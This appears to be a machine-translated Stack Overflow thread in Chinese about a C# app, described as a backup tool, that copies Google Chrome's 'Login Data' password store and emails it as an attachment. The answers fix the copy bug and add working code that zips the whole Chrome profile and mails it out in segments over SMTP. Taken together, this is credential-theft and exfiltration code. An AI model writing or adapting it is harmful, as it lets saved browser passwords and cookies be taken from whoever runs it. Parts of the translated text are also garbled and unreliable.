为什么File.Copy(string,string,bool)不覆盖?
我正在写一个定期备份我的文件的C#应用程序。为什么File.Copy(string,string,bool)不覆盖?
现在我遇到了这个File.Copy方法不能覆盖已经存在的“登录FILE.TXT”的问题原因:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
DirectoryInfo chrome = new DirectoryInfo(Local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
我用复制方法的原因似乎我不能抢,没有该文件在我的代码中扩展,所以我决定使用这个转换并转换为.txt文件,以便我可以正确地附加到我的电子邮件。 但是,我使用这种方法:https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx因为它允许覆盖目标文件,但似乎这没有发生,我的应用程序停止sendign备份的原因。
我可以肯定这是问题,因为如果我评论代码的一部分一切运行顺利。
我在这里做错了什么?
感谢您提前给出答案。
检查您提供给File.Copy()的参数。看起来第一个参数不是文件,而是一个文件夹: Local + @“\ Google \ Chrome \ User Data \ Default \ Login Data”
作为你的答案的小补充:@ Kranio23应该阅读:https://msdn.microsoft.com/en-us/library/bb762914%28v=vs.110%29.aspx我的'默认'文件夹超过400mb所以即使你会使用一些dotnetzip或其他压缩库。只有一封电子邮件附件将无法适应所有这一切。 –
在你的代码中,你检查路径是“Local “存在,然后用”本地“复制路径。使用调试器,您可以检查“本地”的值并查看它是否与“本地”不同。下面的代码可以工作:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
// ** Note in your example "local" is capitalized as "Local"
DirectoryInfo chrome = new DirectoryInfo(local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
您试图邮寄一个完整的文件夹(在我的情况下)超过400MB。您的方法应该是:将内容(如果有文件夹)复制到临时文件夹。将其压缩为每个小于10MB的存档并将您的存档集合邮寄。
在我而言,这将是大约50封电子邮件:
可以使用dotnetzip https://dotnetzip.codeplex.com/ NuGet包:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default";
DirectoryInfo chrome = new DirectoryInfo(local);
if (chrome.Exists)
{
using (ZipFile zip = new ZipFile())
{
string[] files = Directory.GetFiles(local);
zip.AddFiles(files);
zip.MaxOutputSegmentSize = 10 * 1024 * 1024 ; // 10 mb
zip.Save(local + "/test.zip");
for(int i = 0; i < zip.NumberOfSegmentsForMostRecentSave; i++)
{
MailMessage msg = new MailMessage("[email protected]", "[email protected]", "subject", "body");
// https://msdn.microsoft.com/en-us/library/5k0ddab0%28v=vs.110%29.aspx
msg.Attachments.Add(new Attachment(local + "/test.z" + i.ToString("00"))); //format i for 2 digits
SmtpClient sc = new SmtpClient();
msg.Send(sc); // you should also make a new mailmessage for each attachment.
}
}
}
来自:https://*.com/a/12596248/169714 和:https://*.com/a/6672157/169714
未能阅读您lin的文档糟透了。请参阅该文档以了解第一个参数('SourceFilename')中的预期内容,并将其与您正在分配的内容进行比较。 –
在构建路径时,您应该考虑使用'Path.Combine'而不是连接字符串。 – juharr